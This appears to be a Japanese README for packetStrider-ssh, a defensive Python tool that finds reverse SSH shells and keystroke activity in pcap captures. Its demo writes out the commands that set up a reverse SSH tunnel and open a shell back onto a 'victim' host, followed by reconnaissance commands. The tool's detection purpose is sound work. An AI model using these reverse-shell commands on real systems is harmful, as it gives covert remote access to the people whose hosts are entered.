はじめに

Python3 を使用しており、以下のモジュールが必要です（Python2 では YMMV）。

pip3 install pandas matplotlib pyshark

使用方法：

python3 packetStrider-ssh.py -h

出力：

例

pcap ファイル「forward_reverse.pcap」は、リバース SSH シェルという一般的な TTP からのもので、赤チームの大好物です。具体的には、以下のコマンドが使用され、packetStrider の機能を簡単に示しています：

• 被害者からのフォワード接続

  • フォワードセッションのコマンドは ssh [email protected] -R 31337:localhost:22 で、ローカルポート 31337 をバインドし、リバース SSH 接続が被害者 PC に戻る準備をします。この接続は、手動、RCE、SSRF、または何らかの永続化など、さまざまな方法で実行できます。このデモでは、手動の標準フォワードセッションです。
  • これはクライアントがサーバーを見た最初の接続ではありません。関連パケットのデルタが非常に小さいことからわかります。サーバーの鍵フィンガープリントはすでにクライアントの known_hosts にあったため、ユーザーは追加を求められませんでした。これによりパケットの遅延が増加します。
  • 人間による 2 回連続の失敗したパスワードログインの後、8 文字以上のパスワードで成功したログインがあります。
  • フォワードセッションで ls が入力されます。そのシーケンスは 'l' 'w' 'w' 'back-space' 'back-space' 's' で、その後エンターです。転送されるデータの総サイズ（ls の出力として）は、受信であるため侵入として分類されます。

• 次に、攻撃者のマシン（サーバー）で、被害者へのリバースシェルが開始されます：

  • ssh victim@localhost -p 31337。この時点で、認証プロセスが開始される前であっても、packetStrider はパケット 72 でリバース SSH セッションの開始を識別しています。
  • これで攻撃者は被害者ホスト上にリバースシェルを持ちます。ここから履歴設定をオフにし、横移動や荒らし行為など好きなことを実行できます。このデモの簡単な例は、初期ユーザー偵察です。
  • last がキーストローク 'l' 'a' 's' 'r' 'delete' 't' 'enter' の形式で実行されます。
  • who が 'w' 'h' 'o' 'enter' の形式で実行されます。
  • exit が 'e' 'x' 'i' 't' の形式で実行されます。

• 最後に、フォワードセッションが閉じられます。これはフォワード SSH の特徴検出がまだ機能することを示すためです。

  • exit

このアクティビティからのネットワークトラフィックは tcpdump.pcap に保存され、Packet Strider を実行します。

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

このプロットは主要な予測のタイムラインを示しています（画像には注釈が追加されています）

このプロットは、いくつかのウィンドウ統計を示しており、深掘りや特徴の実験に役立ちます。

このプロットは単純なヒストグラムを示しています。

インスピレーション

このプロジェクトは個人的な Proof of Concept として行われ、Python のデータサイエンスライブラリを練習する方法として、特に pandas ライブラリと畳み込みニューラルネットワーク（CNN）がスライディングウィンドウを使用して画像のピクセルセットを「ストライド」し特定の特徴を検出する方法に強く触発されました。

ヒント

packetStrider はフルキャパシティモードで大量の「ストライド」を行います。そのため、pcap が大きい場合、またはより正確には pcap 内のパケット数が多い場合、リソース使用量がかなり大きくなることがあります。以下に高速化のヒントを示します。これらは、例えばリバース SSH アクティビティが予測されたかどうかを確認するためだけの初期実行に特に役立ち、その後必要に応じて機能を追加できます。

• 重い処理を行うモジュール（pyshark/tshark、pandas、matplotlib など）の最新パッチで実行していることを確認してください。
• -p --predict_plot オプションは最も負荷の高い操作です。まずは端末への出力のみで実行し、プロットが必要かどうかを検討してください。
• -m --metaonly オプションを使用します。これにより、プロトコル名や HASSH データなどの高レベルメタデータのみが取得されます。OpenSSH を使用したインタラクティブセッションなのか、Cyberduck のようなファイル転送クライアントなのかを迅速に判断するのに役立ちます。
• pcap を SSH トラフィックに事前フィルタリングします。
• 目的のストリームに pcap を事前フィルタリングします。これは、以前に高速な -m --metaonly オプションで実行して学習した可能性があります。 "-n NSTREAM" オプションでストリーム "NSTREAM" のみを調査するか、Wireshark などで事前フィルタリングできます。
• 非常に大きなパケットセットのサブセットで興味深いものを見つけた場合があります。その場合は、ズーム機能を使用して、関心のある領域のパケットのみを調査およびプロットできます。これには -z ZOOM、--zoom ZOOM を使用します。例：-z 100-500
• ほとんどの場合、キーストロークアクティビティを理解することに関心があるでしょう。そのため、-k オプションを使用しないと処理速度は向上しますが、この貴重な洞察が得られなくなります。

TODO

• より多くのプロトコル！
• マルチスレッドを検討し、処理速度の向上に役立つか確認する。
• スクリプトの効率、特にプロット時間を改善する。
• 貼り付けインジケーターを改善する。
• 上下キーインジケーターを改善する。
• プロットに imagemagick などで注釈を付ける。
• レポート機能を改善し、ディスクに書き出す。
• リバースキーインジケーターはパケットのカプセル化のため、2 つのキーストロークを報告する可能性があるため保守的です。この問題はフォワードキーストロークには存在しません。パケットの順序が狂って到着する場合に備えて処理されているためです。オプションを検討する。
• 高速化のために Go 言語に移植する。
• リアルタイムモード。
• フォワード接続を介した追加のトンネリングローカルポートの影響を調査する。

免責事項

自己責任で使用してください。ライセンス条項を参照してください。